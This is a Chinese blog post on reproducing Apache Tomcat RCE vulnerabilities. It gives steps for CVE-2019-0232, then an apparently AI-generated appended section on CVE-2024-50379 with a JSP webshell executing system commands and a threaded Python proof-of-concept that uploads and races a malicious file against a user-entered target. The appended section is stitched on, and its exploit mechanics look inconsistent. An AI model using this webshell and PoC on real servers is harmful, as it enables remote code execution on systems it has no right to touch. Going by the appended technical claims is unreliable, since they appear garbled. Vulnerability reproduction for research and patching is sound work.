Tomcat RCE 漏洞复现(CVE-2019-0232)

本文详细介绍了影响Tomcat 7.0.94、8.5.40及9.0.19前版本的安全漏洞,包括如何通过修改context.xml和web.xml配置文件进行利用与修复。提供了一个实战测试环境,帮助读者理解和应对此漏洞。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞影响范围,直接看官方公告:

 总结起来漏洞影响范围如下:

  1. tomcat 7.0.94之前
  2. tomcat 8.5.40之前
  3. tomcat 9.0.19之前   版本都会影响    (tomcat 服务器版本在受影响范围内的小伙伴可以打一波补丁了)

 

测试环境  tomcat 版本8.5.31   jdk版本8.121

漏洞利用前提

修改conf里面的内容

第一处:context.xml

第二处:web.xml

 

 

修改完上述两处配置文件之后,直接启动服务器即可

 

测试步骤

先确认tomcat 主页能访问

 

创建hello.bat脚本放入cgi-bin目录下

 hello.bat内容

 

 

直接浏览器访问对应的cgi-bin下的bat文件(默认会将bat文件下载回来)

 

在文件后面追加我们要执行的系统命令

可以看到 系统命令通过tomcat 已经成功执行

 

如果搭建环境有问题,可以直接下载我上传的环境

环境地址:https://download.csdn.net/download/helloexp/11125600

 

 

 

请勿利用本文章从事非法活动,仅供学习和研究

作者参与维护了一个网络安全相关的公众号 “攻防之道” ,有需要的小伙伴,可以扫码关注

 

### 关于Tomcat CVE-2024-50379 RCE复现方法 #### 漏洞概述 Apache TomcatCVE-2024-50379 是一种基于条件竞争的远程代码执行漏洞。该漏洞允许攻击者通过特定方式上传非标准后缀的 JSP 文件,并利用服务器对大小写的不敏感特性,触发目标系统的任意代码执行[^2]。 --- #### 复现步骤说明 以下是针对此漏洞的一般性复现流程: 1. **环境准备** 攻击者需搭建一个与目标版本一致的 Apache Tomcat 测试环境,确保其配置支持文件上传功能。例如,启用 WebDAV 或其他可接受 PUT 请求的功能模块。 2. **构造恶意文件** 创建一个具有非标准扩展名(如 `.jsp_` 而不是 `.jsp`)的恶意脚本文件。此类文件通常不会被立即解析为 JSP 页面,从而绕过某些安全检测机制。 示例代码如下: ```java <%@ page import="java.util.*, java.io.*"%> <% Process p = Runtime.getRuntime().exec("id"); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = in.readLine()) != null) { out.println(line); } %> ``` 3. **并发请求操作** 使用工具发送多个 HTTP `PUT` 请求来上传上述恶意文件至目标路径;与此同时,持续向同一目录下的合法命名(即带有 `.jsp` 扩展名)的目标发起高频次访问尝试。这种行为旨在捕捉到因竞态条件而产生的短暂时间窗口,在这期间恶意文件可能被错误识别并处理成真正的 JSP 页面。 4. **验证效果** 如果一切顺利的话,则可以通过浏览器或其他客户端直接调用已部署成功的恶意程序地址完成命令注入测试工作。此时应该能够看到预期返回的结果数据包内含有所执行操作系统指令所产生的相应反馈信息。 --- #### 视频教程资源推荐 对于希望更直观了解整个过程的学习者来说,网络上有不少高质量的教学视频可供参考学习。其中就包括一篇名为《Apache Tomcat RCE 稳定复现 保姆级!(CVE-2024-50379)附视频+POC》的文章链接分享出了完整的演示录像以及配套使用的 Python 脚本来简化实际动手环节中的复杂度。 --- #### POC (Proof Of Concept) Code Example 下面给出一段简单的 python poc 实现用于辅助理解如何自动化实施以上提到的技术细节: ```python import requests, threading def upload_payload(url): headers={"Content-Type":"application/octet-stream"} with open('malicious.jsp_', 'rb') as f: r=requests.put(f"{url}/test/malicious.jsp_", data=f.read(),headers=headers) def trigger_exploit(url): while True: try: resp=requests.get(f'{url}/test/MALICIOUS.JSP') if "uid" in str(resp.content):print("[+] Exploited!");break except Exception as e:pass if __name__=='__main__': url=input("Enter target URL:") t1=threading.Thread(target=upload_payload,args=(url,)) t2=threading.Thread(target=trigger_exploit ,args=(url,)) t1.start();t2.start() ``` 注意:仅限研究用途,请勿非法使用! --- ###
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿雷由

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值